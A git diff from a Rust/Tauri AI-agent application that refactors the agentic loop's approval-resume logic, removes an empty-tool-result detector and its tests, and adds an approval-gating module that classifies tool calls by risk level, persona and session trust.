goal_conv.pinned_goals = merged;
|
||||||
|
} else {
|
||||||
|
goal_conv.pinned_goals.truncate(MAX_GOALS);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// L3 [UPDATE_GOALS] 标记:LLM 可主动修正目标列表(意图增强/纠偏)。
|
||||||
|
// 后续独立 PR 实现:解析 [UPDATE_GOALS]...[END] 块并替换 pinned_goals。
|
||||||
}
|
}
|
||||||
|
|
||||||
// 停止信号:已生成文本入库后退出,不再执行后续工具调用
|
// 停止信号:已生成文本入库后退出,不再执行后续工具调用
|
||||||
@@ -1539,13 +1541,12 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 无工具调用 → 最终文本响应,正常收敛退出
|
// 无工具调用 → 最终文本响应,正常收敛退出
|
||||||
|
#[allow(unused_assignments)]
|
||||||
if !has_tool_calls { converged = true; break; }
|
if !has_tool_calls { converged = true; break; }
|
||||||
|
let _ = converged;
|
||||||
|
|
||||||
// 处理工具调用(Low 自动执行 / Medium+High 待审批)
|
// 处理工具调用(Low 自动执行 / Medium+High 待审批)
|
||||||
let pending_count = {
|
let pending_count = process_tool_calls(&session_arc, tool_calls_acc, &tools_arc, &db, &app_handle, &conv_id).await;
|
||||||
let mut session = session_arc.lock().await;
|
|
||||||
process_tool_calls(&mut session, tool_calls_acc, &tools_arc, &db, &app_handle, &conv_id).await
|
|
||||||
};
|
|
||||||
// F-260620 卡死已根治(DIRAUTH 审批链已闭环)。原 eprintln 诊断降级为 tracing::debug,
|
// F-260620 卡死已根治(DIRAUTH 审批链已闭环)。原 eprintln 诊断降级为 tracing::debug,
|
||||||
// 避免污染 stderr(用户可见),保留排障能力(RUST_LOG=debug 可见)。
|
// 避免污染 stderr(用户可见),保留排障能力(RUST_LOG=debug 可见)。
|
||||||
tracing::debug!(
|
tracing::debug!(
|
||||||
@@ -1704,7 +1705,7 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
String::new()
|
String::new()
|
||||||
} else {
|
} else {
|
||||||
let goal_summary = goals.iter()
|
let goal_summary = goals.iter()
|
||||||
.map(|g| g.trim())
|
.map(|g| g.text.trim())
|
||||||
.filter(|g| !g.is_empty())
|
.filter(|g| !g.is_empty())
|
||||||
.collect::<Vec<_>>()
|
.collect::<Vec<_>>()
|
||||||
.join("; ");
|
.join("; ");
|
||||||
@@ -1851,353 +1852,4 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
pinned_goals: pinned_goals_snapshot.clone(),
|
pinned_goals: pinned_goals_snapshot.clone(),
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
/// G2 探索熔断:判定工具结果是否为「空结果」(空成功,非失败)。
|
|
||||||
///
|
|
||||||
/// 关键词表**对齐真实 tool_result 格式**(audit.rs tool 执行经 `serde_json::Value::to_string()`
|
|
||||||
/// 序列化为紧凑 JSON,无空格):
|
|
||||||
/// - search_files / grep 空 → `{"total":0,...}` → 命中 `"total":0`(紧凑,冒号后无空格)。
|
|
||||||
/// - list_directory 空 → `{"entries":[],...}` → 命中 `"entries":[]`。
|
|
||||||
/// - read_symbol 未找到 → 含「未找到」回退提示。
|
|
||||||
/// - 通用空 → `"matches":[]` / `"results":[]` / `No matches` / `无匹配` / `未找到` / `没有找到`。
|
|
||||||
///
|
|
||||||
/// 与 L1 is_failure(禁止/失败/Error)**不重叠**:空结果「total:0」不含失败关键词,L1 不命中。
|
|
||||||
/// 漏判风险由 STALL_BREAKER_THRESHOLD=3 + 两段式 WARN_FIRST 容错(多轮漏判才误熔断,最坏退 max_iterations)。
|
|
||||||
pub(crate) fn is_empty_tool_result(content: &str) -> bool {
|
|
||||||
let trimmed = content.trim();
|
|
||||||
if trimmed.is_empty() {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
// 紧凑 JSON 空结果标记(对齐 serde_json::Value::to_string() 输出,冒号后无空格)。
|
|
||||||
// search_files/grep:"total":0 ;list_directory:"entries":[];通用空数组 matches/results/files。
|
|
||||||
const EMPTY_MARKERS: &[&str] = &[
|
|
||||||
"\"total\":0",
|
|
||||||
"\"entries\":[]",
|
|
||||||
"\"matches\":[]",
|
|
||||||
"\"results\":[]",
|
|
||||||
"\"files\":[]",
|
|
||||||
];
|
|
||||||
for marker in EMPTY_MARKERS {
|
|
||||||
if trimmed.contains(marker) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 中文 / 英文「未找到」类提示(read_symbol 等回退文本)。
|
|
||||||
const EMPTY_TEXT: &[&str] = &[
|
|
||||||
"未找到",
|
|
||||||
"没有找到",
|
|
||||||
"无匹配",
|
|
||||||
"没有匹配",
|
|
||||||
"未匹配",
|
|
||||||
"未发现",
|
|
||||||
"无记录",
|
|
||||||
"No matches",
|
|
||||||
"no matches",
|
|
||||||
"0 results",
|
|
||||||
"0 matches",
|
|
||||||
"没有数据",
|
|
||||||
"没有符合",
|
|
||||||
];
|
|
||||||
for marker in EMPTY_TEXT {
|
|
||||||
if trimmed.contains(marker) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
false
|
|
||||||
}
|
|
||||||
|
|
||||||
/// 检查是否所有待审批已处理,如果是则恢复 agentic 循环
|
|
||||||
///
|
|
||||||
/// B-260615-08:所有静默 return 点显式 emit 收尾事件,避免前端 streaming=true 永久卡。
|
|
||||||
/// 各 return 点的语义判断:
|
|
||||||
/// 1) should_continue=false(generating 已复位 / pending_approvals 非空):
|
|
||||||
/// - generating=false → 用户点了停止(ai_chat_stop 复位)或会话已结束,emit AiCompleted 标当前轮收敛
|
|
||||||
/// (streaming=true 由 AiCompleted 清理)
|
|
||||||
/// - pending_approvals 非空 → 转入审批等待态(其他审批未决),emit AiCompleted 标当前轮结束
|
|
||||||
/// (前端审批态 watchdog 已 clear,不卡)
|
|
||||||
/// 2) get_active_provider Err → 无可用 provider(配置丢失/全删),无法续生成,emit AiError
|
|
||||||
/// (语义:配置错误,用户需设 provider;非 generating 复位可恢复)
|
|
||||||
///
|
|
||||||
/// R-PD-6: conv_id 来源从全局 active_conversation_id 解耦到审批所属会话。
|
|
||||||
/// 触发本函数的 ai_approve 已 remove 触发审批,但 pending_approvals 内剩余审批(若 has_pending)
|
|
||||||
/// 仍各自携带 conversation_id(审批产生时由 process_tool_calls 写入,业务真相源)。
|
|
||||||
/// 故 has_pending=true 分支(审批等待态)直接取剩余审批的 conversation_id 做 conv_id,
|
|
||||||
/// 不读 active_conversation_id 全局单例——该字段在审批等待态(非 generating-only 期)可被
|
|
||||||
/// ai_chat_stop/clear/switch 并发改写,属竞态耦合。has_pending=false(全部审批已处理,续生成)
|
|
||||||
/// 分支:审批已被 remove,改为以剩余 pending_approvals 任一 conversation_id 做一致性校验
|
|
||||||
/// (此处空,校验通过即沿用全局值,该期 generating=true 且 switch 为 readonly 不并发)。
|
|
||||||
pub(crate) async fn try_continue_agent_loop(
|
|
||||||
app: &AppHandle,
|
|
||||||
state: &AppState,
|
|
||||||
conv_id: &str,
|
|
||||||
start_iteration: usize,
|
|
||||||
) {
|
|
||||||
// 审批超时检测:超时取消在本函数入口进行(本函数是所有审批恢复路径的入口——
|
|
||||||
// ai_approve / ai_authorize_dir / ai_continue_loop / ai_chat_stop 都调它)。
|
|
||||||
// 这里检测后把超时审批转为拒绝状态,避免用户离开后 pending 永久挂起死锁会话。
|
|
||||||
// 0 表示禁用超时(不推荐,但保留用户选择权)。检测失败(如锁中毒)不阻断续跑。
|
|
||||||
approval_timeout::cleanup_expired_approvals(app, state, conv_id).await;
|
|
||||||
|
|
||||||
// BUG-260617-05: 原 5 次独立 lock().await 造成 TOCTOU 竞态——should_continue=true 判出后、
|
|
||||||
// spawn 前用户点 stop(ai_chat_stop 复位 generating=false),续跑仍按过时快照继续 spawn。
|
|
||||||
// 修复:单次 lock 取结构化快照(所有续跑判定所需字段),无锁态判定;spawn 前单次 lock 原子
|
|
||||||
// 重检 generating 仍为 true 才续跑,stop 后中途插入的直接收敛退出。
|
|
||||||
//
|
|
||||||
// F-260616-09 B 批2(设计 §4.4):conv_id 改显式入参(替代从 pending/active 推断),
|
|
||||||
// has_pending 按 conv_id 过滤(决策 e 真并发准备);generating/agent_language/model_override
|
|
||||||
// 读 per_conv(批2 桥接期与顶层等价,per_conv 未建 fallback 顶层)。
|
|
||||||
// conv_id 来源:调用方 ai_approve 传 approval.conversation_id;ai_continue_loop/ai_stop_loop
|
|
||||||
// 传 IPC 参数 conversation_id。
|
|
||||||
let snap = {
|
|
||||||
let session = state.ai_session.lock().await;
|
|
||||||
// path_auth 审批链阶段1:has_pending 改调 session_state(conv_id) 收敛状态机判定,
|
|
||||||
// 替代手写 path_auth+risk 两表 any 合并(mod.rs 已统一封装)。
|
|
||||||
// 阶段3a 单真相源合并后:两表合一进 pending_approvals,session_state 单表 any 判定。
|
|
||||||
// 两表语义不变——任一类挂起都阻塞续跑(agentic loop 在 path_auth 挂起时也已 return 等待,
|
|
||||||
// 漏任一会致 loop 误续跑空转)。
|
|
||||||
//
|
|
||||||
// 兜底/快速回退:若需切回手写 has_pending,原双表组合保留如下(改一行即可):
|
|
||||||
// let has_pending = session.pending_approvals.values()
|
|
||||||
// .any(|a| a.conversation_id.as_deref() == Some(conv_id));
|
|
||||||
let has_pending = session.session_state(conv_id) == SessionState::AwaitingApproval;
|
|
||||||
// pending_conv_id 保留(should_continue=false 路径的 emit conv_id 回退逻辑)。
|
|
||||||
// 阶段3a:单表 find_map(原两表合一)。
|
|
||||||
let pending_conv_id = session.pending_approvals.values()
|
|
||||||
.find_map(|a| a.conversation_id.clone());
|
|
||||||
let conv = session.conv_read(conv_id);
|
|
||||||
// F-09 B 批4:per_conv 唯一真相源,删顶层 fallback(conv 不存在则各字段默认值)。
|
|
||||||
// L2 读侧(双轨收口批2):统一读 conv_state.is_active()(Generating+Compressed),删除
|
|
||||||
// CONV_STATE_ENABLED off 回退分支(enum 单路径)。用于 ai_can_continue 继续按钮是否可点判断,
|
|
||||||
// is_active() 与原 generating 语义一致(压缩期间 loop 仍活跃,应判为仍在生成)。
|
|
||||||
let is_generating = conv.map(|c| c.conv_state.is_active()).unwrap_or(false);
|
|
||||||
let agent_language = conv.and_then(|c| c.agent_language.clone());
|
|
||||||
let model_override = conv.and_then(|c| c.model_override.clone());
|
|
||||||
let pinned_goals_snapshot = conv.map(|c| c.pinned_goals.clone()).unwrap_or_default();
|
|
||||||
ContinueSnapshot {
|
|
||||||
is_generating,
|
|
||||||
has_pending,
|
|
||||||
pending_conv_id,
|
|
||||||
agent_language,
|
|
||||||
model_override,
|
|
||||||
pinned_goals_snapshot,
|
|
||||||
}
|
|
||||||
};
|
|
||||||
let should_continue = snap.is_generating && !snap.has_pending;
|
|
||||||
|
|
||||||
if !should_continue {
|
|
||||||
// generating=false(被 stop)或仍有审批(pending_approvals 非空):
|
|
||||||
// 统一 emit AiCompleted 标当前轮收敛,清前端 streaming。
|
|
||||||
// 轮 token 已在前序 AiCompleted/AiApprovalResult 流程落库,此处零 token 上报仅作收敛信号。
|
|
||||||
if snap.is_generating {
|
|
||||||
// pending_approvals 非空但 generating 仍 true:转审批态,前端审批态 watchdog 已 clear,不卡
|
|
||||||
tracing::info!(conv_id = %conv_id, "[ai] try_continue 跳过:仍有待审批,转审批等待态");
|
|
||||||
} else {
|
|
||||||
// generating 已复位(用户 stop 或前序循环已 emit Completed):补发 AiCompleted 防前端卡住
|
|
||||||
tracing::info!(conv_id = %conv_id, "[ai] try_continue 跳过:generating 已复位(被 stop/已结束),补发 AiCompleted 清前端 streaming");
|
|
||||||
// R-PD-6: 优先用审批所属 conversation_id(审批等待态被 stop 触发,审批仍在 pending_approvals),
|
|
||||||
// 仅当无任何审批(has_pending=false 且 generating=false)时回退入参 conv_id(批2 显式参数)。
|
|
||||||
let emit_conv_id = match snap.pending_conv_id.clone() {
|
|
||||||
Some(cid) => cid,
|
|
||||||
None => conv_id.to_string(),
|
|
||||||
};
|
|
||||||
let ev = AiChatEvent::AiCompleted {
|
|
||||||
total_tokens: 0,
|
|
||||||
prompt_tokens: 0,
|
|
||||||
completion_tokens: 0,
|
|
||||||
incomplete: None,
|
|
||||||
conversation_id: Some(emit_conv_id),
|
|
||||||
pinned_goals: snap.pinned_goals_snapshot.clone(),
|
|
||||||
};
|
|
||||||
let _ = app.emit("ai-chat-event", ev.clone());
|
|
||||||
// L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp
|
|
||||||
let _ = app.state::<AppState>().ai_event_bus.publish_event(ev);
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
let provider_config = match get_active_provider(state).await {
|
|
||||||
Ok(p) => p,
|
|
||||||
Err(e) => {
|
|
||||||
// 无可用 provider(配置丢失/全删):无法续生成,emit AiError。
|
|
||||||
// 语义:配置错误,用户需在 Settings 设 provider;generating 复位由 run_agentic_loop 内
|
|
||||||
// build_provider_for Err 分支处理(同样 emit AiError),此处与之一致。
|
|
||||||
// 不用 GeneratingGuard:try_continue 的 should_continue=false 路径需保生成态(审批等待态),
|
|
||||||
// 全函数 guard 会误复位。此点单点 provider-Err 复位,语义独立。
|
|
||||||
// 批3 双轨收口:generating bool 已退役,复位经 ConvState 迁移(Generating→Idle)单一表达。
|
|
||||||
let mut session = state.ai_session.lock().await;
|
|
||||||
// 持久化层 ConvState→Idle 复位(对齐 guard.reset 收敛路径,非配置错误不阻断)。
|
|
||||||
match session.conv(conv_id).conv_state.transition_to(conv_state::ConvState::Idle) {
|
|
||||||
Ok(ns) => session.conv(conv_id).conv_state = ns,
|
|
||||||
Err(e) => tracing::warn!(
|
|
||||||
conv_id = %conv_id,
|
|
||||||
error = %e,
|
|
||||||
"[ai] try_continue provider-Err ConvState→Idle 非法(不阻断 emit AiError)"
|
|
||||||
),
|
|
||||||
}
|
|
||||||
drop(session);
|
|
||||||
tracing::warn!(conv_id = %conv_id, error = %e, "[ai] try_continue 失败:无可用 provider");
|
|
||||||
let _ = app.emit("ai-chat-event", AiChatEvent::AiError {
|
|
||||||
error: e.clone(),
|
|
||||||
// 无可用 provider(配置丢失/全删):用户需在 Settings 设 provider,归 ProviderConfig
|
|
||||||
error_type: Some(ErrorType::ProviderConfig),
|
|
||||||
conversation_id: Some(conv_id.to_string()),
|
|
||||||
});
|
|
||||||
// L3 emit 双写:try_continue provider-Err AiError publish 到事件总线(门控在 publish 内)。
|
|
||||||
let _ = app.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiError {
|
|
||||||
error: e,
|
|
||||||
error_type: None,
|
|
||||||
conversation_id: Some(conv_id.to_string()),
|
|
||||||
});
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
// F-09 B 批2:续生成路径 conv_id 用入参(显式,不再从 active 推断),语言/override 读 per_conv 快照。
|
|
||||||
let lang = snap.agent_language.clone().unwrap_or_else(|| "zh-CN".to_string());
|
|
||||||
let conv_id_owned = conv_id.to_string();
|
|
||||||
let system_prompt = build_system_prompt(state, &lang).await;
|
|
||||||
|
|
||||||
let session_arc = state.ai_session.clone();
|
|
||||||
let tools_arc = state.ai_tools.clone();
|
|
||||||
let db = state.db.clone();
|
|
||||||
let app_handle = app.clone();
|
|
||||||
let knowledge_config = state.knowledge_config.lock().await.clone();
|
|
||||||
let llm_concurrency = state.llm_concurrency.clone();
|
|
||||||
|
|
||||||
// 知识注入:DRY(B):收敛至 inject_knowledge_into_prompt 单一入口。
|
|
||||||
// P1 修复(审批恢复路径缺知识注入):try_continue 续跑轮此前用裸 build_system_prompt,
|
|
||||||
// 不调 build_knowledge_context 致续跑轮丢知识库上下文。现与 chat.rs 四处同款走 helper。
|
|
||||||
// 同消息取 text+id(②口径修复):原 last_user_text 过滤 is_active / user_message_id 走
|
|
||||||
// last_user_message_id 不过滤 is_active,末条 user 压缩后两值取自不同消息;helper 单次
|
|
||||||
// 反向扫描同一条消息取两值。复用上方已 clone 的 knowledge_config 快照(避免重复加锁)。
|
|
||||||
let system_prompt = inject_knowledge_into_prompt(state, conv_id, system_prompt, &knowledge_config).await;
|
|
||||||
|
|
||||||
|
|
||||||
// F-260616-01: loop 入口 load 快照,当前续生成 loop 锁定边界(热改下次发消息生效)
|
|
||||||
let max_iterations = state.agent_max_iterations.load(Ordering::SeqCst);
|
|
||||||
// F-260616-07: 流式失败重试次数快照
|
|
||||||
let max_retries = state.agent_max_retries.load(Ordering::SeqCst);
|
|
||||||
// F-01 阶段6: 续跑沿用同一主对话的 model_override(审批续跑/达 max 续跑保持一致)。
|
|
||||||
let model_override = snap.model_override.clone();
|
|
||||||
|
|
||||||
// BUG-260617-05 续: provider 解析/build_system_prompt 期间用户可能点 stop。
|
|
||||||
// spawn 前单次 lock 原子重检 generating——若已被 stop 复位,收敛退出而非覆盖用户的 stop。
|
|
||||||
// (run_agentic_loop 入口 GeneratingGuard 会再次置 generating=true,若不重检会抹掉 stop。)
|
|
||||||
// F-09 B 批4:重检 per_conv.generating(唯一真相源;conv 不存在则 false)。
|
|
||||||
// L2 读侧(双轨收口批2):统一读 conv_state.is_active()(Generating+Compressed),删除
|
|
||||||
// CONV_STATE_ENABLED off 回退分支(enum 单路径)。spawn 前单次 lock 原子重检是否仍在生成,
|
|
||||||
// is_active() 与原 generating 语义一致。
|
|
||||||
let still_generating = {
|
|
||||||
let session = state.ai_session.lock().await;
|
|
||||||
session.conv_read(conv_id).map(|c| c.conv_state.is_active()).unwrap_or(false)
|
|
||||||
};
|
|
||||||
if !still_generating {
|
|
||||||
tracing::info!(conv_id = %conv_id, "[ai] try_continue 终止:spawn 前重检 generating 已被 stop 复位,补发 AiCompleted");
|
|
||||||
let ev = AiChatEvent::AiCompleted {
|
|
||||||
total_tokens: 0,
|
|
||||||
prompt_tokens: 0,
|
|
||||||
completion_tokens: 0,
|
|
||||||
incomplete: None,
|
|
||||||
conversation_id: Some(conv_id_owned.clone()),
|
|
||||||
pinned_goals: snap.pinned_goals_snapshot.clone(),
|
|
||||||
};
|
|
||||||
let _ = app.emit("ai-chat-event", ev.clone());
|
|
||||||
// L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp
|
|
||||||
let _ = app.state::<AppState>().ai_event_bus.publish_event(ev);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 恢复循环前通知前端新建 assistant 消息:审批(通过/拒绝)后新一轮文本
|
|
||||||
// 不应追加到发起工具调用的旧消息,用 AiAgentRound 隔开
|
|
||||||
let _ = app.emit("ai-chat-event", AiChatEvent::AiAgentRound {
|
|
||||||
round: 0,
|
|
||||||
conversation_id: Some(conv_id_owned.clone()),
|
|
||||||
});
|
|
||||||
// L3 emit 双写:try_continue 续跑 AiAgentRound publish 到事件总线(门控在 publish 内)。
|
|
||||||
let _ = app.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiAgentRound {
|
|
||||||
round: 0,
|
|
||||||
conversation_id: Some(conv_id_owned.clone()),
|
|
||||||
});
|
|
||||||
|
|
||||||
tauri::async_runtime::spawn(async move {
|
|
||||||
run_agentic_loop(session_arc, tools_arc, db, app_handle, provider_config, system_prompt, conv_id_owned, knowledge_config, llm_concurrency, max_iterations, max_retries, start_iteration, model_override).await;
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/// BUG-260617-05: try_continue_agent_loop 续跑判定所需 session 字段的一次性快照。
|
|
||||||
/// 单次 lock 取出后无锁态判定,消除多 lock 间其他 IPC(ai_chat_stop/clear/switch)改写 session
|
|
||||||
/// 致续跑判断基于过时快照的 TOCTOU 竞态。
|
|
||||||
///
|
|
||||||
/// F-260616-09 B 批2:active_conversation_id 字段移除(改用入参 conv_id,不再从 snap 读)。
|
|
||||||
struct ContinueSnapshot {
|
|
||||||
is_generating: bool,
|
|
||||||
has_pending: bool,
|
|
||||||
pending_conv_id: Option<String>,
|
|
||||||
agent_language: Option<String>,
|
|
||||||
model_override: Option<String>,
|
|
||||||
/// 对话透明化 L1:快照 pinned_goals 供 AiCompleted emit 携带
|
|
||||||
pinned_goals_snapshot: Vec<String>,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
// ============================================================
|
|
||||||
// G2 is_empty_tool_result 单测
|
|
||||||
// ============================================================
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_tool_result_empty_string() {
|
|
||||||
assert!(is_empty_tool_result(""));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_tool_result_whitespace() {
|
|
||||||
assert!(is_empty_tool_result(" "));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_tool_result_total_zero() {
|
|
||||||
assert!(is_empty_tool_result(r#"{"total":0}"#));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_tool_result_entries_empty() {
|
|
||||||
assert!(is_empty_tool_result(r#"{"entries":[]}"#));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_tool_result_matches_empty() {
|
|
||||||
assert!(is_empty_tool_result(r#"{"matches":[]}"#));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_tool_result_results_empty() {
|
|
||||||
assert!(is_empty_tool_result(r#"{"results":[]}"#));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_tool_result_files_empty() {
|
|
||||||
assert!(is_empty_tool_result(r#"{"files":[]}"#));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_tool_result_chinese_no_match() {
|
|
||||||
assert!(is_empty_tool_result("未找到相关文件"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_tool_result_english_no_match() {
|
|
||||||
assert!(is_empty_tool_result("No matches found"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_non_empty_tool_result() {
|
|
||||||
assert!(!is_empty_tool_result(r#"{"total":5}"#));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_non_empty_tool_result_with_content() {
|
|
||||||
assert!(!is_empty_tool_result(r#"{"entries":["a.txt","b.txt"]}"#));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
2
src-tauri/src/commands/ai/agentic/title_lifecycle.rs
Normal file
2
src-tauri/src/commands/ai/agentic/title_lifecycle.rs
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
//! Agentic 循环标题生命周期(文档占位)。
|
||||||
|
//! 标题生成实现位于 `super::super::title` 模块。
|
||||||
340
src-tauri/src/commands/ai/audit/approval.rs
Normal file
340
src-tauri/src/commands/ai/audit/approval.rs
Normal file
@@ -0,0 +1,340 @@
|
|||||||
|
//! F-#97 / AE-04 / 阶段4 审批门控逻辑。
|
||||||
|
//!
|
||||||
|
//! 审批策略(方案 B:Persona 维度 + 扩展点):
|
||||||
|
//! - reviewer/analyst 人设的工具调用全 auto(只读/分析,审批无意义)
|
||||||
|
//! - 其他人设走现有 auto_exec_mode 三档
|
||||||
|
//! - Phase 2 扩展点:可在 should_auto_for_persona 内加工具维度 if 分支
|
||||||
|
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use tauri::{AppHandle, Emitter, Manager};
|
||||||
|
use tokio::sync::Mutex;
|
||||||
|
|
||||||
|
use df_ai::ai_tools::{AiToolRegistry, RiskLevel};
|
||||||
|
use df_ai::provider::ChatMessage;
|
||||||
|
use df_storage::crud::AiToolExecutionRepo;
|
||||||
|
use df_storage::db::Database;
|
||||||
|
|
||||||
|
use super::cache::{find_cached_high_risk_result, pending_placeholder_for};
|
||||||
|
use super::diff::build_write_file_diff;
|
||||||
|
use super::reason::build_approval_reason;
|
||||||
|
use super::record::audit_tool_call;
|
||||||
|
use super::super::{AiChatEvent, AiSession, ApprovalKind, PendingApproval, ToolCallDraft, trust_key_for, TrustKey};
|
||||||
|
|
||||||
|
/// 按 risk_level + auto_exec_mode 判定是否自动执行。
|
||||||
|
///
|
||||||
|
/// F-#97 自动执行范围三档(2026-06-22):low/medium/all,默认 low。
|
||||||
|
/// - low:仅 Low 自动(等价旧行为)
|
||||||
|
/// - medium:Low+Medium 自动
|
||||||
|
/// - all:全自动无审批(完全 AI 接管)
|
||||||
|
///
|
||||||
|
/// C-260627:patch_file 小改动(≤5 行)特例自动放行,不阻塞 AI 工作流。
|
||||||
|
pub(super) fn classify_risk_and_auto(
|
||||||
|
risk_level: RiskLevel,
|
||||||
|
auto_exec_mode: &str,
|
||||||
|
tool_name: &str,
|
||||||
|
args: &serde_json::Value,
|
||||||
|
) -> bool {
|
||||||
|
let _ = args; // 预留扩展点(未来可加路径白名单/文件类型等维度)
|
||||||
|
// patch_file 是 AI 编码主力工具,改文件是 AI Coding 的工作常态。
|
||||||
|
// 原本“小改动(≤5 行)豁免、大改动审批”的设计在实际使用中频繁打断 AI 工作流
|
||||||
|
// (AI 改文件往往远超 5 行),且文件已写入会落 audit 表可追溯,审批价值低。
|
||||||
|
// 决策:patch_file 全档位自动放行(low/medium/all 均不审批),与 read_file 同级处理。
|
||||||
|
if tool_name == "patch_file" {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
match risk_level {
|
||||||
|
RiskLevel::Low => true,
|
||||||
|
RiskLevel::Medium => auto_exec_mode == "medium" || auto_exec_mode == "all",
|
||||||
|
RiskLevel::High => auto_exec_mode == "all",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 审批策略方案 B:Persona 维度判定。
|
||||||
|
///
|
||||||
|
/// 在 classify_risk_and_auto 之上叠加人设维度:
|
||||||
|
/// - reviewer/analyst 人设:工具白名单已限制为只读,全部 auto(审批纯浪费)
|
||||||
|
/// - 其他人设:走 classify_risk_and_auto 原逻辑
|
||||||
|
///
|
||||||
|
/// Phase 2 扩展点:在此函数内加工具维度 if 分支,例如:
|
||||||
|
/// ```ignore
|
||||||
|
/// if persona_id == "coder" && tool_name == "write_file" {
|
||||||
|
/// if let Some(path) = args.get("path").and_then(|v| v.as_str()) {
|
||||||
|
/// if path.ends_with(".md") { return true; } // 写文档 auto
|
||||||
|
/// }
|
||||||
|
/// }
|
||||||
|
/// ```
|
||||||
|
#[allow(dead_code)] // 接线到 process_tool_calls 需要 SubTask 携带 persona_id,后续批次接入
|
||||||
|
pub(super) fn should_auto_for_persona(
|
||||||
|
persona_id: Option<&str>,
|
||||||
|
risk_level: RiskLevel,
|
||||||
|
auto_exec_mode: &str,
|
||||||
|
tool_name: &str,
|
||||||
|
args: &serde_json::Value,
|
||||||
|
) -> bool {
|
||||||
|
// 人设维度:reviewer/analyst 全 auto
|
||||||
|
match persona_id {
|
||||||
|
Some("reviewer") | Some("analyst") => {
|
||||||
|
tracing::debug!(
|
||||||
|
persona = ?persona_id,
|
||||||
|
tool = %tool_name,
|
||||||
|
"[POLICY-B] 只读人设全 auto"
|
||||||
|
);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
// 兜底:现有三档 + patch_file 特例
|
||||||
|
classify_risk_and_auto(risk_level, auto_exec_mode, tool_name, args)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// AE-2025-04 检查会话信任命中。
|
||||||
|
///
|
||||||
|
/// 首批信任工具:write_file / run_command。同会话已批准过同工具+同目录 →
|
||||||
|
/// `TrustKey` 命中,返回 `Some(TrustKey)`;否则返回 `None`(走原审批流程)。
|
||||||
|
///
|
||||||
|
/// BUG-260624-03/P0 重构:签名改 `session_arc: &Arc<Mutex<AiSession>>`,内部短 lock 读
|
||||||
|
/// `session_trust` 后立即 drop,信任查询不持锁,与 process_tool_calls 持锁 await 反模式解耦。
|
||||||
|
pub(super) async fn check_trust_hits(
|
||||||
|
draft: &ToolCallDraft,
|
||||||
|
args: &serde_json::Value,
|
||||||
|
session_arc: &Arc<Mutex<AiSession>>,
|
||||||
|
conv_id: &str,
|
||||||
|
) -> Option<TrustKey> {
|
||||||
|
let key = trust_key_for(&draft.name, args)?;
|
||||||
|
// 短 lock 读 session_trust(仅 contains 判定,无 await,纳秒级),命中即返 key
|
||||||
|
let hit = {
|
||||||
|
let session = session_arc.lock().await;
|
||||||
|
session.conv_read(conv_id)
|
||||||
|
.map(|c| c.session_trust.contains(&key))
|
||||||
|
.unwrap_or(false)
|
||||||
|
};
|
||||||
|
if hit { Some(key) } else { None }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 插入 pending 审批:生成 diff → 重试检测 → insert PendingApproval + 占位 tool_result
|
||||||
|
/// → 拼 reason + emit AiApprovalRequired + 审计落 pending 纪录。
|
||||||
|
///
|
||||||
|
/// **注意**:调用方应在调用前先 +=1 `pending_count`(保持与原 `handle_approval_tool`
|
||||||
|
/// 行为一致——重试 skip 分支也在 `pending_count += 1` 之后返回)。
|
||||||
|
///
|
||||||
|
/// BUG-260624-03/P0 重构:签名改 `session_arc: &Arc<Mutex<AiSession>>`,所有慢操作
|
||||||
|
/// (build_write_file_diff/detect_retry_count/build_approval_reason/audit_tool_call)
|
||||||
|
/// 在锁外 await,仅 `pending_approvals.insert` + `messages.push` 两处纯写改短 lock 段。
|
||||||
|
pub(super) async fn insert_pending_approval(
|
||||||
|
draft: ToolCallDraft,
|
||||||
|
args: serde_json::Value,
|
||||||
|
risk_level: RiskLevel,
|
||||||
|
session_arc: &Arc<Mutex<AiSession>>,
|
||||||
|
conv_id: &str,
|
||||||
|
audit_repo: &AiToolExecutionRepo,
|
||||||
|
app_handle: &AppHandle,
|
||||||
|
